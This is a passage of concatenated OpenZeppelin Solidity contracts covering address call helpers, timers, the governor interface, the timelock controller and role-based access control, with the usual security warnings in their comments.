* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Timers.sol)
pragma solidity ^0.8.0;
/**
* @dev Tooling for timepoints, timers and delays
*/
library Timers {
struct Timestamp {
uint64 _deadline;
}
function getDeadline(Timestamp memory timer) internal pure returns (uint64) {
return timer._deadline;
}
function setDeadline(Timestamp storage timer, uint64 timestamp) internal {
timer._deadline = timestamp;
}
function reset(Timestamp storage timer) internal {
timer._deadline = 0;
}
function isUnset(Timestamp memory timer) internal pure returns (bool) {
return timer._deadline == 0;
}
function isStarted(Timestamp memory timer) internal pure returns (bool) {
return timer._deadline > 0;
}
function isPending(Timestamp memory timer) internal view returns (bool) {
return timer._deadline > block.timestamp;
}
function isExpired(Timestamp memory timer) internal view returns (bool) {
return isStarted(timer) && timer._deadline <= block.timestamp;
}
struct BlockNumber {
uint64 _deadline;
}
function getDeadline(BlockNumber memory timer) internal pure returns (uint64) {
return timer._deadline;
}
function setDeadline(BlockNumber storage timer, uint64 timestamp) internal {
timer._deadline = timestamp;
}
function reset(BlockNumber storage timer) internal {
timer._deadline = 0;
}
function isUnset(BlockNumber memory timer) internal pure returns (bool) {
return timer._deadline == 0;
}
function isStarted(BlockNumber memory timer) internal pure returns (bool) {
return timer._deadline > 0;
}
function isPending(BlockNumber memory timer) internal view returns (bool) {
return timer._deadline > block.number;
}
function isExpired(BlockNumber memory timer) internal view returns (bool) {
return isStarted(timer) && timer._deadline <= block.number;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (governance/IGovernor.sol)
pragma solidity ^0.8.0;
import "../utils/introspection/ERC165.sol";
/**
* @dev Interface of the {Governor} core.
*
* _Available since v4.3._
*/
abstract contract IGovernor is IERC165 {
enum ProposalState {
Pending,
Active,
Canceled,
Defeated,
Succeeded,
Queued,
Expired,
Executed
}
/**
* @dev Emitted when a proposal is created.
*/
event ProposalCreated(
uint256 proposalId,
address proposer,
address[] targets,
uint256[] values,
string[] signatures,
bytes[] calldatas,
uint256 startBlock,
uint256 endBlock,
string description
);
/**
* @dev Emitted when a proposal is canceled.
*/
event ProposalCanceled(uint256 proposalId);
/**
* @dev Emitted when a proposal is executed.
*/
event ProposalExecuted(uint256 proposalId);
/**
* @dev Emitted when a vote is cast.
*
* Note: `support` values should be seen as buckets. There interpretation depends on the voting module used.
*/
event VoteCast(address indexed voter, uint256 proposalId, uint8 support, uint256 weight, string reason);
/**
* @notice module:core
* @dev Name of the governor instance (used in building the ERC712 domain separator).
*/
function name() public view virtual returns (string memory);
/**
* @notice module:core
* @dev Version of the governor instance (used in building the ERC712 domain separator). Default: "1"
*/
function version() public view virtual returns (string memory);
/**
* @notice module:voting
* @dev A description of the possible `support` values for {castVote} and the way these votes are counted, meant to
* be consumed by UIs to show correct vote options and interpret the results. The string is a URL-encoded sequence of
* key-value pairs that each describe one aspect, for example `support=bravo&quorum=for,abstain`.
*
* There are 2 standard keys: `support` and `quorum`.
*
* - `support=bravo` refers to the vote options 0 = Against, 1 = For, 2 = Abstain, as in `GovernorBravo`.
* - `quorum=bravo` means that only For votes are counted towards quorum.
* - `quorum=for,abstain` means that both For and Abstain votes are counted towards quorum.
*
* NOTE: The string can be decoded by the standard
* https://developer.mozilla.org/en-US/docs/Web/API/URLSearchParams[`URLSearchParams`]
* JavaScript class.
*/
// solhint-disable-next-line func-name-mixedcase
function COUNTING_MODE() public pure virtual returns (string memory);
/**
* @notice module:core
* @dev Hashing function used to (re)build the proposal id from the proposal details..
*/
function hashProposal(
address[] calldata targets,
uint256[] calldata values,
bytes[] calldata calldatas,
bytes32 descriptionHash
) public pure virtual returns (uint256);
/**
* @notice module:core
* @dev Current state of a proposal, following Compound's convention
*/
function state(uint256 proposalId) public view virtual returns (ProposalState);
/**
* @notice module:core
* @dev Block number used to retrieve user's votes and quorum. As per Compound's Comp and OpenZeppelin's
* ERC20Votes, the snapshot is performed at the end of this block. Hence, voting for this proposal starts at the
* beginning of the following block.
*/
function proposalSnapshot(uint256 proposalId) public view virtual returns (uint256);
/**
* @notice module:core
* @dev Block number at which votes close. Votes close at the end of this block, so it is possible to cast a vote
* during this block.
*/
function proposalDeadline(uint256 proposalId) public view virtual returns (uint256);
/**
* @notice module:user-config
* @dev Delay, in number of block, between the proposal is created and the vote starts. This can be increassed to
* leave time for users to buy voting power, of delegate it, before the voting of a proposal starts.
*/
function votingDelay() public view virtual returns (uint256);
/**
* @notice module:user-config
* @dev Delay, in number of blocks, between the vote start and vote ends.
*
* NOTE: The {votingDelay} can delay the start of the vote. This must be considered when setting the voting
* duration compared to the voting delay.
*/
function votingPeriod() public view virtual returns (uint256);
/**
* @notice module:user-config
* @dev Minimum number of cast voted required for a proposal to be successful.
*
* Note: The `blockNumber` parameter corresponds to the snaphot used for counting vote. This allows to scale the
* quroum depending on values such as the totalSupply of a token at this block (see {ERC20Votes}).
*/
function quorum(uint256 blockNumber) public view virtual returns (uint256);
/**
* @notice module:reputation
* @dev Voting power of an `account` at a specific `blockNumber`.
*
* Note: this can be implemented in a number of ways, for example by reading the delegated balance from one (or
* multiple), {ERC20Votes} tokens.
*/
function getVotes(address account, uint256 blockNumber) public view virtual returns (uint256);
/**
* @notice module:voting
* @dev Returns weither `account` has cast a vote on `proposalId`.
*/
function hasVoted(uint256 proposalId, address account) public view virtual returns (bool);
/**
* @dev Create a new proposal. Vote start {IGovernor-votingDelay} blocks after the proposal is created and ends
* {IGovernor-votingPeriod} blocks after the voting starts.
*
* Emits a {ProposalCreated} event.
*/
function propose(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
string memory description
) public virtual returns (uint256 proposalId);
/**
* @dev Execute a successful proposal. This requires the quorum to be reached, the vote to be successful, and the
* deadline to be reached.
*
* Emits a {ProposalExecuted} event.
*
* Note: some module can modify the requirements for execution, for example by adding an additional timelock.
*/
function execute(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 descriptionHash
) public payable virtual returns (uint256 proposalId);
/**
* @dev Cast a vote
*
* Emits a {VoteCast} event.
*/
function castVote(uint256 proposalId, uint8 support) public virtual returns (uint256 balance);
/**
* @dev Cast a vote with a reason
*
* Emits a {VoteCast} event.
*/
function castVoteWithReason(
uint256 proposalId,
uint8 support,
string calldata reason
) public virtual returns (uint256 balance);
/**
* @dev Cast a vote using the user cryptographic signature.
*
* Emits a {VoteCast} event.
*/
function castVoteBySig(
uint256 proposalId,
uint8 support,
uint8 v,
bytes32 r,
bytes32 s
) public virtual returns (uint256 balance);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (governance/extensions/GovernorTimelockControl.sol)
pragma solidity ^0.8.0;
import "./IGovernorTimelock.sol";
import "../Governor.sol";
import "../TimelockController.sol";
/**
* @dev Extension of {Governor} that binds the execution process to an instance of {TimelockController}. This adds a
* delay, enforced by the {TimelockController} to all successful proposal (in addition to the voting duration). The
* {Governor} needs the proposer (and ideally the executor) roles for the {Governor} to work properly.
*
* Using this model means the proposal will be operated by the {TimelockController} and not by the {Governor}. Thus,
* the assets and permissions must be attached to the {TimelockController}. Any asset sent to the {Governor} will be
* inaccessible.
*
* WARNING: Setting up the TimelockController to have additional proposers besides the governor is very risky, as it
* grants them powers that they must be trusted or known not to use: 1) {onlyGovernance} functions like {relay} are
* available to them through the timelock, and 2) approved governance proposals can be blocked by them, effectively
* executing a Denial of Service attack. This risk will be mitigated in a future release.
*
* _Available since v4.3._
*/
abstract contract GovernorTimelockControl is IGovernorTimelock, Governor {
TimelockController private _timelock;
mapping(uint256 => bytes32) private _timelockIds;
/**
* @dev Emitted when the timelock controller used for proposal execution is modified.
*/
event TimelockChange(address oldTimelock, address newTimelock);
/**
* @dev Set the timelock.
*/
constructor(TimelockController timelockAddress) {
_updateTimelock(timelockAddress);
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, Governor) returns (bool) {
return interfaceId == type(IGovernorTimelock).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Overriden version of the {Governor-state} function with added support for the `Queued` status.
*/
function state(uint256 proposalId) public view virtual override(IGovernor, Governor) returns (ProposalState) {
ProposalState status = super.state(proposalId);
if (status != ProposalState.Succeeded) {
return status;
}
// core tracks execution, so we just have to check if successful proposal have been queued.
bytes32 queueid = _timelockIds[proposalId];
if (queueid == bytes32(0)) {
return status;
} else if (_timelock.isOperationDone(queueid)) {
return ProposalState.Executed;
} else if (_timelock.isOperationPending(queueid)) {
return ProposalState.Queued;
} else {
return ProposalState.Canceled;
}
}
/**
* @dev Public accessor to check the address of the timelock
*/
function timelock() public view virtual override returns (address) {
return address(_timelock);
}
/**
* @dev Public accessor to check the eta of a queued proposal
*/
function proposalEta(uint256 proposalId) public view virtual override returns (uint256) {
uint256 eta = _timelock.getTimestamp(_timelockIds[proposalId]);
return eta == 1 ? 0 : eta; // _DONE_TIMESTAMP (1) should be replaced with a 0 value
}
/**
* @dev Function to queue a proposal to the timelock.
*/
function queue(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 descriptionHash
) public virtual override returns (uint256) {
uint256 proposalId = hashProposal(targets, values, calldatas, descriptionHash);
require(state(proposalId) == ProposalState.Succeeded, "Governor: proposal not successful");
uint256 delay = _timelock.getMinDelay();
_timelockIds[proposalId] = _timelock.hashOperationBatch(targets, values, calldatas, 0, descriptionHash);
_timelock.scheduleBatch(targets, values, calldatas, 0, descriptionHash, delay);
emit ProposalQueued(proposalId, block.timestamp + delay);
return proposalId;
}
/**
* @dev Overriden execute function that run the already queued proposal through the timelock.
*/
function _execute(
uint256, /* proposalId */
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 descriptionHash
) internal virtual override {
_timelock.executeBatch{value: msg.value}(targets, values, calldatas, 0, descriptionHash);
}
/**
* @dev Overriden version of the {Governor-_cancel} function to cancel the timelocked proposal if it as already
* been queued.
*/
function _cancel(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 descriptionHash
) internal virtual override returns (uint256) {
uint256 proposalId = super._cancel(targets, values, calldatas, descriptionHash);
if (_timelockIds[proposalId] != 0) {
_timelock.cancel(_timelockIds[proposalId]);
delete _timelockIds[proposalId];
}
return proposalId;
}
/**
* @dev Address through which the governor executes action. In this case, the timelock.
*/
function _executor() internal view virtual override returns (address) {
return address(_timelock);
}
/**
* @dev Public endpoint to update the underlying timelock instance. Restricted to the timelock itself, so updates
* must be proposed, scheduled, and executed through governance proposals.
*
* CAUTION: It is not recommended to change the timelock while there are other queued governance proposals.
*/
function updateTimelock(TimelockController newTimelock) external virtual onlyGovernance {
_updateTimelock(newTimelock);
}
function _updateTimelock(TimelockController newTimelock) private {
emit TimelockChange(address(_timelock), address(newTimelock));
_timelock = newTimelock;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (governance/extensions/IGovernorTimelock.sol)
pragma solidity ^0.8.0;
import "../IGovernor.sol";
/**
* @dev Extension of the {IGovernor} for timelock supporting modules.
*
* _Available since v4.3._
*/
abstract contract IGovernorTimelock is IGovernor {
event ProposalQueued(uint256 proposalId, uint256 eta);
function timelock() public view virtual returns (address);
function proposalEta(uint256 proposalId) public view virtual returns (uint256);
function queue(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 descriptionHash
) public virtual returns (uint256 proposalId);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (governance/TimelockController.sol)
pragma solidity ^0.8.0;
import "../access/AccessControl.sol";
/**
* @dev Contract module which acts as a timelocked controller. When set as the
* owner of an `Ownable` smart contract, it enforces a timelock on all
* `onlyOwner` maintenance operations. This gives time for users of the
* controlled contract to exit before a potentially dangerous maintenance
* operation is applied.
*
* By default, this contract is self administered, meaning administration tasks
* have to go through the timelock process. The proposer (resp executor) role
* is in charge of proposing (resp executing) operations. A common use case is
* to position this {TimelockController} as the owner of a smart contract, with
* a multisig or a DAO as the sole proposer.
*
* _Available since v3.3._
*/
contract TimelockController is AccessControl {
bytes32 public constant TIMELOCK_ADMIN_ROLE = keccak256("TIMELOCK_ADMIN_ROLE");
bytes32 public constant PROPOSER_ROLE = keccak256("PROPOSER_ROLE");
bytes32 public constant EXECUTOR_ROLE = keccak256("EXECUTOR_ROLE");
uint256 internal constant _DONE_TIMESTAMP = uint256(1);
mapping(bytes32 => uint256) private _timestamps;
uint256 private _minDelay;
/**
* @dev Emitted when a call is scheduled as part of operation `id`.
*/
event CallScheduled(
bytes32 indexed id,
uint256 indexed index,
address target,
uint256 value,
bytes data,
bytes32 predecessor,
uint256 delay
);
/**
* @dev Emitted when a call is performed as part of operation `id`.
*/
event CallExecuted(bytes32 indexed id, uint256 indexed index, address target, uint256 value, bytes data);
/**
* @dev Emitted when operation `id` is cancelled.
*/
event Cancelled(bytes32 indexed id);
/**
* @dev Emitted when the minimum delay for future operations is modified.
*/
event MinDelayChange(uint256 oldDuration, uint256 newDuration);
/**
* @dev Initializes the contract with a given `minDelay`.
*/
constructor(
uint256 minDelay,
address[] memory proposers,
address[] memory executors
) {
_setRoleAdmin(TIMELOCK_ADMIN_ROLE, TIMELOCK_ADMIN_ROLE);
_setRoleAdmin(PROPOSER_ROLE, TIMELOCK_ADMIN_ROLE);
_setRoleAdmin(EXECUTOR_ROLE, TIMELOCK_ADMIN_ROLE);
// deployer + self administration
_setupRole(TIMELOCK_ADMIN_ROLE, _msgSender());
_setupRole(TIMELOCK_ADMIN_ROLE, address(this));
// register proposers
for (uint256 i = 0; i < proposers.length; ++i) {
_setupRole(PROPOSER_ROLE, proposers[i]);
}
// register executors
for (uint256 i = 0; i < executors.length; ++i) {
_setupRole(EXECUTOR_ROLE, executors[i]);
}
_minDelay = minDelay;
emit MinDelayChange(0, minDelay);
}
/**
* @dev Modifier to make a function callable only by a certain role. In
* addition to checking the sender's role, `address(0)` 's role is also
* considered. Granting a role to `address(0)` is equivalent to enabling
* this role for everyone.
*/
modifier onlyRoleOrOpenRole(bytes32 role) {
if (!hasRole(role, address(0))) {
_checkRole(role, _msgSender());
}
_;
}
/**
* @dev Contract might receive/hold ETH as part of the maintenance process.
*/
receive() external payable {}
/**
* @dev Returns whether an id correspond to a registered operation. This
* includes both Pending, Ready and Done operations.
*/
function isOperation(bytes32 id) public view virtual returns (bool pending) {
return getTimestamp(id) > 0;
}
/**
* @dev Returns whether an operation is pending or not.
*/
function isOperationPending(bytes32 id) public view virtual returns (bool pending) {
return getTimestamp(id) > _DONE_TIMESTAMP;
}
/**
* @dev Returns whether an operation is ready or not.
*/
function isOperationReady(bytes32 id) public view virtual returns (bool ready) {
uint256 timestamp = getTimestamp(id);
return timestamp > _DONE_TIMESTAMP && timestamp <= block.timestamp;
}
/**
* @dev Returns whether an operation is done or not.
*/
function isOperationDone(bytes32 id) public view virtual returns (bool done) {
return getTimestamp(id) == _DONE_TIMESTAMP;
}
/**
* @dev Returns the timestamp at with an operation becomes ready (0 for
* unset operations, 1 for done operations).
*/
function getTimestamp(bytes32 id) public view virtual returns (uint256 timestamp) {
return _timestamps[id];
}
/**
* @dev Returns the minimum delay for an operation to become valid.
*
* This value can be changed by executing an operation that calls `updateDelay`.
*/
function getMinDelay() public view virtual returns (uint256 duration) {
return _minDelay;
}
/**
* @dev Returns the identifier of an operation containing a single
* transaction.
*/
function hashOperation(
address target,
uint256 value,
bytes calldata data,
bytes32 predecessor,
bytes32 salt
) public pure virtual returns (bytes32 hash) {
return keccak256(abi.encode(target, value, data, predecessor, salt));
}
/**
* @dev Returns the identifier of an operation containing a batch of
* transactions.
*/
function hashOperationBatch(
address[] calldata targets,
uint256[] calldata values,
bytes[] calldata datas,
bytes32 predecessor,
bytes32 salt
) public pure virtual returns (bytes32 hash) {
return keccak256(abi.encode(targets, values, datas, predecessor, salt));
}
/**
* @dev Schedule an operation containing a single transaction.
*
* Emits a {CallScheduled} event.
*
* Requirements:
*
* - the caller must have the 'proposer' role.
*/
function schedule(
address target,
uint256 value,
bytes calldata data,
bytes32 predecessor,
bytes32 salt,
uint256 delay
) public virtual onlyRole(PROPOSER_ROLE) {
bytes32 id = hashOperation(target, value, data, predecessor, salt);
_schedule(id, delay);
emit CallScheduled(id, 0, target, value, data, predecessor, delay);
}
/**
* @dev Schedule an operation containing a batch of transactions.
*
* Emits one {CallScheduled} event per transaction in the batch.
*
* Requirements:
*
* - the caller must have the 'proposer' role.
*/
function scheduleBatch(
address[] calldata targets,
uint256[] calldata values,
bytes[] calldata datas,
bytes32 predecessor,
bytes32 salt,
uint256 delay
) public virtual onlyRole(PROPOSER_ROLE) {
require(targets.length == values.length, "TimelockController: length mismatch");
require(targets.length == datas.length, "TimelockController: length mismatch");
bytes32 id = hashOperationBatch(targets, values, datas, predecessor, salt);
_schedule(id, delay);
for (uint256 i = 0; i < targets.length; ++i) {
emit CallScheduled(id, i, targets[i], values[i], datas[i], predecessor, delay);
}
}
/**
* @dev Schedule an operation that is to becomes valid after a given delay.
*/
function _schedule(bytes32 id, uint256 delay) private {
require(!isOperation(id), "TimelockController: operation already scheduled");
require(delay >= getMinDelay(), "TimelockController: insufficient delay");
_timestamps[id] = block.timestamp + delay;
}
/**
* @dev Cancel an operation.
*
* Requirements:
*
* - the caller must have the 'proposer' role.
*/
function cancel(bytes32 id) public virtual onlyRole(PROPOSER_ROLE) {
require(isOperationPending(id), "TimelockController: operation cannot be cancelled");
delete _timestamps[id];
emit Cancelled(id);
}
/**
* @dev Execute an (ready) operation containing a single transaction.
*
* Emits a {CallExecuted} event.
*
* Requirements:
*
* - the caller must have the 'executor' role.
*/
function execute(
address target,
uint256 value,
bytes calldata data,
bytes32 predecessor,
bytes32 salt
) public payable virtual onlyRoleOrOpenRole(EXECUTOR_ROLE) {
bytes32 id = hashOperation(target, value, data, predecessor, salt);
_beforeCall(id, predecessor);
_call(id, 0, target, value, data);
_afterCall(id);
}
/**
* @dev Execute an (ready) operation containing a batch of transactions.
*
* Emits one {CallExecuted} event per transaction in the batch.
*
* Requirements:
*
* - the caller must have the 'executor' role.
*/
function executeBatch(
address[] calldata targets,
uint256[] calldata values,
bytes[] calldata datas,
bytes32 predecessor,
bytes32 salt
) public payable virtual onlyRoleOrOpenRole(EXECUTOR_ROLE) {
require(targets.length == values.length, "TimelockController: length mismatch");
require(targets.length == datas.length, "TimelockController: length mismatch");
bytes32 id = hashOperationBatch(targets, values, datas, predecessor, salt);
_beforeCall(id, predecessor);
for (uint256 i = 0; i < targets.length; ++i) {
_call(id, i, targets[i], values[i], datas[i]);
}
_afterCall(id);
}
/**
* @dev Checks before execution of an operation's calls.
*/
function _beforeCall(bytes32 id, bytes32 predecessor) private view {
require(isOperationReady(id), "TimelockController: operation is not ready");
require(predecessor == bytes32(0) || isOperationDone(predecessor), "TimelockController: missing dependency");
}
/**
* @dev Checks after execution of an operation's calls.
*/
function _afterCall(bytes32 id) private {
require(isOperationReady(id), "TimelockController: operation is not ready");
_timestamps[id] = _DONE_TIMESTAMP;
}
/**
* @dev Execute an operation's call.
*
* Emits a {CallExecuted} event.
*/
function _call(
bytes32 id,
uint256 index,
address target,
uint256 value,
bytes calldata data
) private {
(bool success, ) = target.call{value: value}(data);
require(success, "TimelockController: underlying transaction reverted");
emit CallExecuted(id, index, target, value, data);
}
/**
* @dev Changes the minimum timelock duration for future operations.
*
* Emits a {MinDelayChange} event.
*
* Requirements:
*
* - the caller must be the timelock itself. This can only be achieved by scheduling and later executing
* an operation where the timelock is the target and the data is the ABI-encoded call to this function.
*/
function updateDelay(uint256 newDelay) external virtual {
require(msg.sender == address(this), "TimelockController: caller must be timelock");
emit MinDelayChange(_minDelay, newDelay);
_minDelay = newDelay;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (access/AccessControl.sol)
pragma solidity ^0.8.0;
import "./IAccessControl.sol";
import "../utils/Context.sol";
import "../utils/Strings.sol";
import "../utils/introspection/ERC165.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context, IAccessControl, ERC165 {
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view virtual override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*/
function _checkRole(bytes32 role, address account) internal view virtual {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
Strings.toHexString(uint160(account), 20),
" is missing role ",
Strings.toHexString(uint256(role), 32)
)
)
);
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view virtual override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been revoked `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*
* NOTE: This function is deprecated in favor of {_grantRole}.
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
/**
* @dev Grants `role` to `account`.
*
* Internal function without access restriction.
*/
function _grantRole(bytes32 role, address account) internal virtual {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
/**
* @dev Revokes `role` from `account`.
*
* Internal function without access restriction.
*/
function _revokeRole(bytes32 role, address account) internal virtual {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
